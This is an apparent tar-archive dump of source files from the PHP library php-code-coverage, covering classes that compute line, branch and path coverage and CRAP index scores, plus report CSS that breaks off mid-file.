$this->numberOfTestedMethods(), $this->numberOfMethods(), ); } public function percentageOfTestedFunctionsAndMethods(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfTestedFunctionsAndMethods(), $this->numberOfFunctionsAndMethods(), ); } public function percentageOfExecutedLines(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfExecutedLines(), $this->numberOfExecutableLines(), ); } public function percentageOfExecutedBranches(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfExecutedBranches(), $this->numberOfExecutableBranches() ); } public function percentageOfExecutedPaths(): Percentage { return Percentage::fromFractionAndTotal( $this->numberOfExecutedPaths(), $this->numberOfExecutablePaths() ); } public function numberOfClassesAndTraits(): int { return $this->numberOfClasses() + $this->numberOfTraits(); } public function numberOfTestedClassesAndTraits(): int { return $this->numberOfTestedClasses() + $this->numberOfTestedTraits(); } public function classesAndTraits(): array { return array_merge($this->classes(), $this->traits()); } public function numberOfFunctionsAndMethods(): int { return $this->numberOfFunctions() + $this->numberOfMethods(); } public function numberOfTestedFunctionsAndMethods(): int { return $this->numberOfTestedFunctions() + $this->numberOfTestedMethods(); } abstract public function classes(): array; abstract public function traits(): array; abstract public function functions(): array; /** * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ abstract public function linesOfCode(): array; abstract public function numberOfExecutableLines(): int; abstract public function numberOfExecutedLines(): int; abstract public function numberOfExecutableBranches(): int; abstract public function numberOfExecutedBranches(): int; abstract public function numberOfExecutablePaths(): int; abstract public function numberOfExecutedPaths(): int; abstract public function numberOfClasses(): int; abstract public function numberOfTestedClasses(): int; abstract public function numberOfTraits(): int; abstract public function numberOfTestedTraits(): int; abstract public function numberOfMethods(): int; abstract public function numberOfTestedMethods(): int; abstract public function numberOfFunctions(): int; abstract public function numberOfTestedFunctions(): int; } res/readability/vendor/phpunit/php-code-coverage/src/Node/File.php000064400000052542147577714370021204 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Node; use function array_filter; use function count; use function range; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class File extends AbstractNode { /** * @var array */ private $lineCoverageData; /** * @var array */ private $functionCoverageData; /** * @var array */ private $testData; /** * @var int */ private $numExecutableLines = 0; /** * @var int */ private $numExecutedLines = 0; /** * @var int */ private $numExecutableBranches = 0; /** * @var int */ private $numExecutedBranches = 0; /** * @var int */ private $numExecutablePaths = 0; /** * @var int */ private $numExecutedPaths = 0; /** * @var array */ private $classes = []; /** * @var array */ private $traits = []; /** * @var array */ private $functions = []; /** * @psalm-var array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ private $linesOfCode; /** * @var int */ private $numClasses; /** * @var int */ private $numTestedClasses = 0; /** * @var int */ private $numTraits; /** * @var int */ private $numTestedTraits = 0; /** * @var int */ private $numMethods; /** * @var int */ private $numTestedMethods; /** * @var int */ private $numTestedFunctions; /** * @var array */ private $codeUnitsByLine = []; /** * @psalm-param array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} $linesOfCode */ public function __construct(string $name, AbstractNode $parent, array $lineCoverageData, array $functionCoverageData, array $testData, array $classes, array $traits, array $functions, array $linesOfCode) { parent::__construct($name, $parent); $this->lineCoverageData = $lineCoverageData; $this->functionCoverageData = $functionCoverageData; $this->testData = $testData; $this->linesOfCode = $linesOfCode; $this->calculateStatistics($classes, $traits, $functions); } public function count(): int { return 1; } public function lineCoverageData(): array { return $this->lineCoverageData; } public function functionCoverageData(): array { return $this->functionCoverageData; } public function testData(): array { return $this->testData; } public function classes(): array { return $this->classes; } public function traits(): array { return $this->traits; } public function functions(): array { return $this->functions; } /** * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ public function linesOfCode(): array { return $this->linesOfCode; } public function numberOfExecutableLines(): int { return $this->numExecutableLines; } public function numberOfExecutedLines(): int { return $this->numExecutedLines; } public function numberOfExecutableBranches(): int { return $this->numExecutableBranches; } public function numberOfExecutedBranches(): int { return $this->numExecutedBranches; } public function numberOfExecutablePaths(): int { return $this->numExecutablePaths; } public function numberOfExecutedPaths(): int { return $this->numExecutedPaths; } public function numberOfClasses(): int { if ($this->numClasses === null) { $this->numClasses = 0; foreach ($this->classes as $class) { foreach ($class['methods'] as $method) { if ($method['executableLines'] > 0) { $this->numClasses++; continue 2; } } } } return $this->numClasses; } public function numberOfTestedClasses(): int { return $this->numTestedClasses; } public function numberOfTraits(): int { if ($this->numTraits === null) { $this->numTraits = 0; foreach ($this->traits as $trait) { foreach ($trait['methods'] as $method) { if ($method['executableLines'] > 0) { $this->numTraits++; continue 2; } } } } return $this->numTraits; } public function numberOfTestedTraits(): int { return $this->numTestedTraits; } public function numberOfMethods(): int { if ($this->numMethods === null) { $this->numMethods = 0; foreach ($this->classes as $class) { foreach ($class['methods'] as $method) { if ($method['executableLines'] > 0) { $this->numMethods++; } } } foreach ($this->traits as $trait) { foreach ($trait['methods'] as $method) { if ($method['executableLines'] > 0) { $this->numMethods++; } } } } return $this->numMethods; } public function numberOfTestedMethods(): int { if ($this->numTestedMethods === null) { $this->numTestedMethods = 0; foreach ($this->classes as $class) { foreach ($class['methods'] as $method) { if ($method['executableLines'] > 0 && $method['coverage'] === 100) { $this->numTestedMethods++; } } } foreach ($this->traits as $trait) { foreach ($trait['methods'] as $method) { if ($method['executableLines'] > 0 && $method['coverage'] === 100) { $this->numTestedMethods++; } } } } return $this->numTestedMethods; } public function numberOfFunctions(): int { return count($this->functions); } public function numberOfTestedFunctions(): int { if ($this->numTestedFunctions === null) { $this->numTestedFunctions = 0; foreach ($this->functions as $function) { if ($function['executableLines'] > 0 && $function['coverage'] === 100) { $this->numTestedFunctions++; } } } return $this->numTestedFunctions; } private function calculateStatistics(array $classes, array $traits, array $functions): void { foreach (range(1, $this->linesOfCode['linesOfCode']) as $lineNumber) { $this->codeUnitsByLine[$lineNumber] = []; } $this->processClasses($classes); $this->processTraits($traits); $this->processFunctions($functions); foreach (range(1, $this->linesOfCode['linesOfCode']) as $lineNumber) { if (isset($this->lineCoverageData[$lineNumber])) { foreach ($this->codeUnitsByLine[$lineNumber] as &$codeUnit) { $codeUnit['executableLines']++; } unset($codeUnit); $this->numExecutableLines++; if (count($this->lineCoverageData[$lineNumber]) > 0) { foreach ($this->codeUnitsByLine[$lineNumber] as &$codeUnit) { $codeUnit['executedLines']++; } unset($codeUnit); $this->numExecutedLines++; } } } foreach ($this->traits as &$trait) { foreach ($trait['methods'] as &$method) { $methodLineCoverage = $method['executableLines'] ? ($method['executedLines'] / $method['executableLines']) * 100 : 100; $methodBranchCoverage = $method['executableBranches'] ? ($method['executedBranches'] / $method['executableBranches']) * 100 : 0; $methodPathCoverage = $method['executablePaths'] ? ($method['executedPaths'] / $method['executablePaths']) * 100 : 0; $method['coverage'] = $methodBranchCoverage ?: $methodLineCoverage; $method['crap'] = (new CrapIndex($method['ccn'], $methodPathCoverage ?: $methodLineCoverage))->asString(); $trait['ccn'] += $method['ccn']; } unset($method); $traitLineCoverage = $trait['executableLines'] ? ($trait['executedLines'] / $trait['executableLines']) * 100 : 100; $traitBranchCoverage = $trait['executableBranches'] ? ($trait['executedBranches'] / $trait['executableBranches']) * 100 : 0; $traitPathCoverage = $trait['executablePaths'] ? ($trait['executedPaths'] / $trait['executablePaths']) * 100 : 0; $trait['coverage'] = $traitBranchCoverage ?: $traitLineCoverage; $trait['crap'] = (new CrapIndex($trait['ccn'], $traitPathCoverage ?: $traitLineCoverage))->asString(); if ($trait['executableLines'] > 0 && $trait['coverage'] === 100) { $this->numTestedClasses++; } } unset($trait); foreach ($this->classes as &$class) { foreach ($class['methods'] as &$method) { $methodLineCoverage = $method['executableLines'] ? ($method['executedLines'] / $method['executableLines']) * 100 : 100; $methodBranchCoverage = $method['executableBranches'] ? ($method['executedBranches'] / $method['executableBranches']) * 100 : 0; $methodPathCoverage = $method['executablePaths'] ? ($method['executedPaths'] / $method['executablePaths']) * 100 : 0; $method['coverage'] = $methodBranchCoverage ?: $methodLineCoverage; $method['crap'] = (new CrapIndex($method['ccn'], $methodPathCoverage ?: $methodLineCoverage))->asString(); $class['ccn'] += $method['ccn']; } unset($method); $classLineCoverage = $class['executableLines'] ? ($class['executedLines'] / $class['executableLines']) * 100 : 100; $classBranchCoverage = $class['executableBranches'] ? ($class['executedBranches'] / $class['executableBranches']) * 100 : 0; $classPathCoverage = $class['executablePaths'] ? ($class['executedPaths'] / $class['executablePaths']) * 100 : 0; $class['coverage'] = $classBranchCoverage ?: $classLineCoverage; $class['crap'] = (new CrapIndex($class['ccn'], $classPathCoverage ?: $classLineCoverage))->asString(); if ($class['executableLines'] > 0 && $class['coverage'] === 100) { $this->numTestedClasses++; } } unset($class); foreach ($this->functions as &$function) { $functionLineCoverage = $function['executableLines'] ? ($function['executedLines'] / $function['executableLines']) * 100 : 100; $functionBranchCoverage = $function['executableBranches'] ? ($function['executedBranches'] / $function['executableBranches']) * 100 : 0; $functionPathCoverage = $function['executablePaths'] ? ($function['executedPaths'] / $function['executablePaths']) * 100 : 0; $function['coverage'] = $functionBranchCoverage ?: $functionLineCoverage; $function['crap'] = (new CrapIndex($function['ccn'], $functionPathCoverage ?: $functionLineCoverage))->asString(); if ($function['coverage'] === 100) { $this->numTestedFunctions++; } } } private function processClasses(array $classes): void { $link = $this->id() . '.html#'; foreach ($classes as $className => $class) { $this->classes[$className] = [ 'className' => $className, 'namespace' => $class['namespace'], 'methods' => [], 'startLine' => $class['startLine'], 'executableLines' => 0, 'executedLines' => 0, 'executableBranches' => 0, 'executedBranches' => 0, 'executablePaths' => 0, 'executedPaths' => 0, 'ccn' => 0, 'coverage' => 0, 'crap' => 0, 'link' => $link . $class['startLine'], ]; foreach ($class['methods'] as $methodName => $method) { $methodData = $this->newMethod($className, $methodName, $method, $link); $this->classes[$className]['methods'][$methodName] = $methodData; $this->classes[$className]['executableBranches'] += $methodData['executableBranches']; $this->classes[$className]['executedBranches'] += $methodData['executedBranches']; $this->classes[$className]['executablePaths'] += $methodData['executablePaths']; $this->classes[$className]['executedPaths'] += $methodData['executedPaths']; $this->numExecutableBranches += $methodData['executableBranches']; $this->numExecutedBranches += $methodData['executedBranches']; $this->numExecutablePaths += $methodData['executablePaths']; $this->numExecutedPaths += $methodData['executedPaths']; foreach (range($method['startLine'], $method['endLine']) as $lineNumber) { $this->codeUnitsByLine[$lineNumber] = [ &$this->classes[$className], &$this->classes[$className]['methods'][$methodName], ]; } } } } private function processTraits(array $traits): void { $link = $this->id() . '.html#'; foreach ($traits as $traitName => $trait) { $this->traits[$traitName] = [ 'traitName' => $traitName, 'namespace' => $trait['namespace'], 'methods' => [], 'startLine' => $trait['startLine'], 'executableLines' => 0, 'executedLines' => 0, 'executableBranches' => 0, 'executedBranches' => 0, 'executablePaths' => 0, 'executedPaths' => 0, 'ccn' => 0, 'coverage' => 0, 'crap' => 0, 'link' => $link . $trait['startLine'], ]; foreach ($trait['methods'] as $methodName => $method) { $methodData = $this->newMethod($traitName, $methodName, $method, $link); $this->traits[$traitName]['methods'][$methodName] = $methodData; $this->traits[$traitName]['executableBranches'] += $methodData['executableBranches']; $this->traits[$traitName]['executedBranches'] += $methodData['executedBranches']; $this->traits[$traitName]['executablePaths'] += $methodData['executablePaths']; $this->traits[$traitName]['executedPaths'] += $methodData['executedPaths']; $this->numExecutableBranches += $methodData['executableBranches']; $this->numExecutedBranches += $methodData['executedBranches']; $this->numExecutablePaths += $methodData['executablePaths']; $this->numExecutedPaths += $methodData['executedPaths']; foreach (range($method['startLine'], $method['endLine']) as $lineNumber) { $this->codeUnitsByLine[$lineNumber] = [ &$this->traits[$traitName], &$this->traits[$traitName]['methods'][$methodName], ]; } } } } private function processFunctions(array $functions): void { $link = $this->id() . '.html#'; foreach ($functions as $functionName => $function) { $this->functions[$functionName] = [ 'functionName' => $functionName, 'namespace' => $function['namespace'], 'signature' => $function['signature'], 'startLine' => $function['startLine'], 'endLine' => $function['endLine'], 'executableLines' => 0, 'executedLines' => 0, 'executableBranches' => 0, 'executedBranches' => 0, 'executablePaths' => 0, 'executedPaths' => 0, 'ccn' => $function['ccn'], 'coverage' => 0, 'crap' => 0, 'link' => $link . $function['startLine'], ]; foreach (range($function['startLine'], $function['endLine']) as $lineNumber) { $this->codeUnitsByLine[$lineNumber] = [&$this->functions[$functionName]]; } if (isset($this->functionCoverageData[$functionName]['branches'])) { $this->functions[$functionName]['executableBranches'] = count( $this->functionCoverageData[$functionName]['branches'] ); $this->functions[$functionName]['executedBranches'] = count( array_filter( $this->functionCoverageData[$functionName]['branches'], static function (array $branch) { return (bool) $branch['hit']; } ) ); } if (isset($this->functionCoverageData[$functionName]['paths'])) { $this->functions[$functionName]['executablePaths'] = count( $this->functionCoverageData[$functionName]['paths'] ); $this->functions[$functionName]['executedPaths'] = count( array_filter( $this->functionCoverageData[$functionName]['paths'], static function (array $path) { return (bool) $path['hit']; } ) ); } $this->numExecutableBranches += $this->functions[$functionName]['executableBranches']; $this->numExecutedBranches += $this->functions[$functionName]['executedBranches']; $this->numExecutablePaths += $this->functions[$functionName]['executablePaths']; $this->numExecutedPaths += $this->functions[$functionName]['executedPaths']; } } private function newMethod(string $className, string $methodName, array $method, string $link): array { $methodData = [ 'methodName' => $methodName, 'visibility' => $method['visibility'], 'signature' => $method['signature'], 'startLine' => $method['startLine'], 'endLine' => $method['endLine'], 'executableLines' => 0, 'executedLines' => 0, 'executableBranches' => 0, 'executedBranches' => 0, 'executablePaths' => 0, 'executedPaths' => 0, 'ccn' => $method['ccn'], 'coverage' => 0, 'crap' => 0, 'link' => $link . $method['startLine'], ]; $key = $className . '->' . $methodName; if (isset($this->functionCoverageData[$key]['branches'])) { $methodData['executableBranches'] = count( $this->functionCoverageData[$key]['branches'] ); $methodData['executedBranches'] = count( array_filter( $this->functionCoverageData[$key]['branches'], static function (array $branch) { return (bool) $branch['hit']; } ) ); } if (isset($this->functionCoverageData[$key]['paths'])) { $methodData['executablePaths'] = count( $this->functionCoverageData[$key]['paths'] ); $methodData['executedPaths'] = count( array_filter( $this->functionCoverageData[$key]['paths'], static function (array $path) { return (bool) $path['hit']; } ) ); } return $methodData; } } res/readability/vendor/phpunit/php-code-coverage/src/Node/Directory.php000064400000023544147577714370022271 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Node; use function array_merge; use function count; use IteratorAggregate; use RecursiveIteratorIterator; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Directory extends AbstractNode implements IteratorAggregate { /** * @var AbstractNode[] */ private $children = []; /** * @var Directory[] */ private $directories = []; /** * @var File[] */ private $files = []; /** * @var array */ private $classes; /** * @var array */ private $traits; /** * @var array */ private $functions; /** * @psalm-var null|array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ private $linesOfCode; /** * @var int */ private $numFiles = -1; /** * @var int */ private $numExecutableLines = -1; /** * @var int */ private $numExecutedLines = -1; /** * @var int */ private $numExecutableBranches = -1; /** * @var int */ private $numExecutedBranches = -1; /** * @var int */ private $numExecutablePaths = -1; /** * @var int */ private $numExecutedPaths = -1; /** * @var int */ private $numClasses = -1; /** * @var int */ private $numTestedClasses = -1; /** * @var int */ private $numTraits = -1; /** * @var int */ private $numTestedTraits = -1; /** * @var int */ private $numMethods = -1; /** * @var int */ private $numTestedMethods = -1; /** * @var int */ private $numFunctions = -1; /** * @var int */ private $numTestedFunctions = -1; public function count(): int { if ($this->numFiles === -1) { $this->numFiles = 0; foreach ($this->children as $child) { $this->numFiles += count($child); } } return $this->numFiles; } public function getIterator(): RecursiveIteratorIterator { return new RecursiveIteratorIterator( new Iterator($this), RecursiveIteratorIterator::SELF_FIRST ); } public function addDirectory(string $name): self { $directory = new self($name, $this); $this->children[] = $directory; $this->directories[] = &$this->children[count($this->children) - 1]; return $directory; } public function addFile(File $file): void { $this->children[] = $file; $this->files[] = &$this->children[count($this->children) - 1]; $this->numExecutableLines = -1; $this->numExecutedLines = -1; } public function directories(): array { return $this->directories; } public function files(): array { return $this->files; } public function children(): array { return $this->children; } public function classes(): array { if ($this->classes === null) { $this->classes = []; foreach ($this->children as $child) { $this->classes = array_merge( $this->classes, $child->classes() ); } } return $this->classes; } public function traits(): array { if ($this->traits === null) { $this->traits = []; foreach ($this->children as $child) { $this->traits = array_merge( $this->traits, $child->traits() ); } } return $this->traits; } public function functions(): array { if ($this->functions === null) { $this->functions = []; foreach ($this->children as $child) { $this->functions = array_merge( $this->functions, $child->functions() ); } } return $this->functions; } /** * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ public function linesOfCode(): array { if ($this->linesOfCode === null) { $this->linesOfCode = [ 'linesOfCode' => 0, 'commentLinesOfCode' => 0, 'nonCommentLinesOfCode' => 0, ]; foreach ($this->children as $child) { $childLinesOfCode = $child->linesOfCode(); $this->linesOfCode['linesOfCode'] += $childLinesOfCode['linesOfCode']; $this->linesOfCode['commentLinesOfCode'] += $childLinesOfCode['commentLinesOfCode']; $this->linesOfCode['nonCommentLinesOfCode'] += $childLinesOfCode['nonCommentLinesOfCode']; } } return $this->linesOfCode; } public function numberOfExecutableLines(): int { if ($this->numExecutableLines === -1) { $this->numExecutableLines = 0; foreach ($this->children as $child) { $this->numExecutableLines += $child->numberOfExecutableLines(); } } return $this->numExecutableLines; } public function numberOfExecutedLines(): int { if ($this->numExecutedLines === -1) { $this->numExecutedLines = 0; foreach ($this->children as $child) { $this->numExecutedLines += $child->numberOfExecutedLines(); } } return $this->numExecutedLines; } public function numberOfExecutableBranches(): int { if ($this->numExecutableBranches === -1) { $this->numExecutableBranches = 0; foreach ($this->children as $child) { $this->numExecutableBranches += $child->numberOfExecutableBranches(); } } return $this->numExecutableBranches; } public function numberOfExecutedBranches(): int { if ($this->numExecutedBranches === -1) { $this->numExecutedBranches = 0; foreach ($this->children as $child) { $this->numExecutedBranches += $child->numberOfExecutedBranches(); } } return $this->numExecutedBranches; } public function numberOfExecutablePaths(): int { if ($this->numExecutablePaths === -1) { $this->numExecutablePaths = 0; foreach ($this->children as $child) { $this->numExecutablePaths += $child->numberOfExecutablePaths(); } } return $this->numExecutablePaths; } public function numberOfExecutedPaths(): int { if ($this->numExecutedPaths === -1) { $this->numExecutedPaths = 0; foreach ($this->children as $child) { $this->numExecutedPaths += $child->numberOfExecutedPaths(); } } return $this->numExecutedPaths; } public function numberOfClasses(): int { if ($this->numClasses === -1) { $this->numClasses = 0; foreach ($this->children as $child) { $this->numClasses += $child->numberOfClasses(); } } return $this->numClasses; } public function numberOfTestedClasses(): int { if ($this->numTestedClasses === -1) { $this->numTestedClasses = 0; foreach ($this->children as $child) { $this->numTestedClasses += $child->numberOfTestedClasses(); } } return $this->numTestedClasses; } public function numberOfTraits(): int { if ($this->numTraits === -1) { $this->numTraits = 0; foreach ($this->children as $child) { $this->numTraits += $child->numberOfTraits(); } } return $this->numTraits; } public function numberOfTestedTraits(): int { if ($this->numTestedTraits === -1) { $this->numTestedTraits = 0; foreach ($this->children as $child) { $this->numTestedTraits += $child->numberOfTestedTraits(); } } return $this->numTestedTraits; } public function numberOfMethods(): int { if ($this->numMethods === -1) { $this->numMethods = 0; foreach ($this->children as $child) { $this->numMethods += $child->numberOfMethods(); } } return $this->numMethods; } public function numberOfTestedMethods(): int { if ($this->numTestedMethods === -1) { $this->numTestedMethods = 0; foreach ($this->children as $child) { $this->numTestedMethods += $child->numberOfTestedMethods(); } } return $this->numTestedMethods; } public function numberOfFunctions(): int { if ($this->numFunctions === -1) { $this->numFunctions = 0; foreach ($this->children as $child) { $this->numFunctions += $child->numberOfFunctions(); } } return $this->numFunctions; } public function numberOfTestedFunctions(): int { if ($this->numTestedFunctions === -1) { $this->numTestedFunctions = 0; foreach ($this->children as $child) { $this->numTestedFunctions += $child->numberOfTestedFunctions(); } } return $this->numTestedFunctions; } } res/readability/vendor/phpunit/php-code-coverage/src/Node/CrapIndex.php000064400000002423147577714370022173 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Node; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class CrapIndex { /** * @var int */ private $cyclomaticComplexity; /** * @var float */ private $codeCoverage; public function __construct(int $cyclomaticComplexity, float $codeCoverage) { $this->cyclomaticComplexity = $cyclomaticComplexity; $this->codeCoverage = $codeCoverage; } public function asString(): string { if ($this->codeCoverage === 0.0) { return (string) ($this->cyclomaticComplexity ** 2 + $this->cyclomaticComplexity); } if ($this->codeCoverage >= 95) { return (string) $this->cyclomaticComplexity; } return sprintf( '%01.2F', $this->cyclomaticComplexity ** 2 * (1 - $this->codeCoverage / 100) ** 3 + $this->cyclomaticComplexity ); } } res/readability/vendor/phpunit/php-code-coverage/src/Node/Iterator.php000064400000003631147577714370022111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Node; use function count; use RecursiveIterator; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Iterator implements RecursiveIterator { /** * @var int */ private $position; /** * @var AbstractNode[] */ private $nodes; public function __construct(Directory $node) { $this->nodes = $node->children(); } /** * Rewinds the Iterator to the first element. */ public function rewind(): void { $this->position = 0; } /** * Checks if there is a current element after calls to rewind() or next(). */ public function valid(): bool { return $this->position < count($this->nodes); } /** * Returns the key of the current element. */ public function key(): int { return $this->position; } /** * Returns the current element. */ public function current(): ?AbstractNode { return $this->valid() ? $this->nodes[$this->position] : null; } /** * Moves forward to next element. */ public function next(): void { $this->position++; } /** * Returns the sub iterator for the current element. * * @return Iterator */ public function getChildren(): self { return new self($this->nodes[$this->position]); } /** * Checks whether the current element has children. */ public function hasChildren(): bool { return $this->nodes[$this->position] instanceof Directory; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/style.css000064400000003655147577714370027072 0ustar00body { padding-top: 10px; } .popover { max-width: none; } .octicon { margin-right:.25em; } .table-bordered>thead>tr>td { border-bottom-width: 1px; } .table tbody>tr>td, .table thead>tr>td { padding-top: 3px; padding-bottom: 3px; } .table-condensed tbody>tr>td { padding-top: 0; padding-bottom: 0; } .table .progress { margin-bottom: inherit; } .table-borderless th, .table-borderless td { border: 0 !important; } .table tbody tr.covered-by-large-tests, li.covered-by-large-tests, tr.success, td.success, li.success, span.success { background-color: #dff0d8; } .table tbody tr.covered-by-medium-tests, li.covered-by-medium-tests { background-color: #c3e3b5; } .table tbody tr.covered-by-small-tests, li.covered-by-small-tests { background-color: #99cb84; } .table tbody tr.danger, .table tbody td.danger, li.danger, span.danger { background-color: #f2dede; } .table tbody tr.warning, .table tbody td.warning, li.warning, span.warning { background-color: #fcf8e3; } .table tbody td.info { background-color: #d9edf7; } td.big { width: 117px; } td.small { } td.codeLine { font-family: "Source Code Pro", "SFMono-Regular", Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; white-space: pre-wrap; } td span.comment { color: #888a85; } td span.default { color: #2e3436; } td span.html { color: #888a85; } td span.keyword { color: #2e3436; font-weight: bold; } pre span.string { color: #2e3436; } span.success, span.warning, span.danger { margin-right: 2px; padding-left: 10px; padding-right: 10px; text-align: center; } #toplink { position: fixed; left: 5px; bottom: 5px; outline: 0; } svg text { font-family: "Lucida Grande", "Lucida Sans Unicode", Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #666; fill: #666; } .scrollbox { height:245px; overflow-x:hidden; overflow-y:scroll; } table + .structure-heading { border-top: 1px solid lightgrey; padding-top: 0.5em; } res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/css/nv.d3.min.css000064400000022530147577714370027435 0ustar00.nvd3 .nv-axis{pointer-events:none;opacity:1}.nvd3 .nv-axis path{fill:none;stroke:#000;stroke-opacity:.75;shape-rendering:crispEdges}.nvd3 .nv-axis path.domain{stroke-opacity:.75}.nvd3 .nv-axis.nv-x path.domain{stroke-opacity:0}.nvd3 .nv-axis line{fill:none;stroke:#e5e5e5;shape-rendering:crispEdges}.nvd3 .nv-axis .zero line,.nvd3 .nv-axis line.zero{stroke-opacity:.75}.nvd3 .nv-axis .nv-axisMaxMin text{font-weight:700}.nvd3 .x .nv-axis .nv-axisMaxMin text,.nvd3 .x2 .nv-axis .nv-axisMaxMin text,.nvd3 .x3 .nv-axis .nv-axisMaxMin text{text-anchor:middle}.nvd3 .nv-axis.nv-disabled{opacity:0}.nvd3 .nv-bars rect{fill-opacity:.75;transition:fill-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear}.nvd3 .nv-bars rect.hover{fill-opacity:1}.nvd3 .nv-bars .hover rect{fill:#add8e6}.nvd3 .nv-bars text{fill:rgba(0,0,0,0)}.nvd3 .nv-bars .hover text{fill:rgba(0,0,0,1)}.nvd3 .nv-multibar .nv-groups rect,.nvd3 .nv-multibarHorizontal .nv-groups rect,.nvd3 .nv-discretebar .nv-groups rect{stroke-opacity:0;transition:fill-opacity 250ms linear;-moz-transition:fill-opacity 250ms linear;-webkit-transition:fill-opacity 250ms linear}.nvd3 .nv-multibar .nv-groups rect:hover,.nvd3 .nv-multibarHorizontal .nv-groups rect:hover,.nvd3 .nv-candlestickBar .nv-ticks rect:hover,.nvd3 .nv-discretebar .nv-groups rect:hover{fill-opacity:1}.nvd3 .nv-discretebar .nv-groups text,.nvd3 .nv-multibarHorizontal .nv-groups text{font-weight:700;fill:rgba(0,0,0,1);stroke:rgba(0,0,0,0)}.nvd3 .nv-boxplot circle{fill-opacity:.5}.nvd3 .nv-boxplot circle:hover{fill-opacity:1}.nvd3 .nv-boxplot rect:hover{fill-opacity:1}.nvd3 line.nv-boxplot-median{stroke:#000}.nv-boxplot-tick:hover{stroke-width:2.5px}.nvd3.nv-bullet{font:10px sans-serif}.nvd3.nv-bullet .nv-measure{fill-opacity:.8}.nvd3.nv-bullet .nv-measure:hover{fill-opacity:1}.nvd3.nv-bullet .nv-marker{stroke:#000;stroke-width:2px}.nvd3.nv-bullet .nv-markerTriangle{stroke:#000;fill:#fff;stroke-width:1.5px}.nvd3.nv-bullet .nv-tick line{stroke:#666;stroke-width:.5px}.nvd3.nv-bullet .nv-range.nv-s0{fill:#eee}.nvd3.nv-bullet .nv-range.nv-s1{fill:#ddd}.nvd3.nv-bullet .nv-range.nv-s2{fill:#ccc}.nvd3.nv-bullet .nv-title{font-size:14px;font-weight:700}.nvd3.nv-bullet .nv-subtitle{fill:#999}.nvd3.nv-bullet .nv-range{fill:#bababa;fill-opacity:.4}.nvd3.nv-bullet .nv-range:hover{fill-opacity:.7}.nvd3.nv-candlestickBar .nv-ticks .nv-tick{stroke-width:1px}.nvd3.nv-candlestickBar .nv-ticks .nv-tick.hover{stroke-width:2px}.nvd3.nv-candlestickBar .nv-ticks .nv-tick.positive rect{stroke:#2ca02c;fill:#2ca02c}.nvd3.nv-candlestickBar .nv-ticks .nv-tick.negative rect{stroke:#d62728;fill:#d62728}.with-transitions .nv-candlestickBar .nv-ticks .nv-tick{transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-moz-transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-webkit-transition:stroke-width 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-candlestickBar .nv-ticks line{stroke:#333}.nvd3 .nv-legend .nv-disabled rect{}.nvd3 .nv-check-box .nv-box{fill-opacity:0;stroke-width:2}.nvd3 .nv-check-box .nv-check{fill-opacity:0;stroke-width:4}.nvd3 .nv-series.nv-disabled .nv-check-box .nv-check{fill-opacity:0;stroke-opacity:0}.nvd3 .nv-controlsWrap .nv-legend .nv-check-box .nv-check{opacity:0}.nvd3.nv-linePlusBar .nv-bar rect{fill-opacity:.75}.nvd3.nv-linePlusBar .nv-bar rect:hover{fill-opacity:1}.nvd3 .nv-groups path.nv-line{fill:none}.nvd3 .nv-groups path.nv-area{stroke:none}.nvd3.nv-line .nvd3.nv-scatter .nv-groups .nv-point{fill-opacity:0;stroke-opacity:0}.nvd3.nv-scatter.nv-single-point .nv-groups .nv-point{fill-opacity:.5!important;stroke-opacity:.5!important}.with-transitions .nvd3 .nv-groups .nv-point{transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-moz-transition:stroke-width 250ms linear,stroke-opacity 250ms linear;-webkit-transition:stroke-width 250ms linear,stroke-opacity 250ms linear}.nvd3.nv-scatter .nv-groups .nv-point.hover,.nvd3 .nv-groups .nv-point.hover{stroke-width:7px;fill-opacity:.95!important;stroke-opacity:.95!important}.nvd3 .nv-point-paths path{stroke:#aaa;stroke-opacity:0;fill:#eee;fill-opacity:0}.nvd3 .nv-indexLine{cursor:ew-resize}svg.nvd3-svg{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-ms-user-select:none;-moz-user-select:none;user-select:none;display:block;width:100%;height:100%}.nvtooltip.with-3d-shadow,.with-3d-shadow .nvtooltip{-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nvd3 text{font:400 12px Arial}.nvd3 .title{font:700 14px Arial}.nvd3 .nv-background{fill:#fff;fill-opacity:0}.nvd3.nv-noData{font-size:18px;font-weight:700}.nv-brush .extent{fill-opacity:.125;shape-rendering:crispEdges}.nv-brush .resize path{fill:#eee;stroke:#666}.nvd3 .nv-legend .nv-series{cursor:pointer}.nvd3 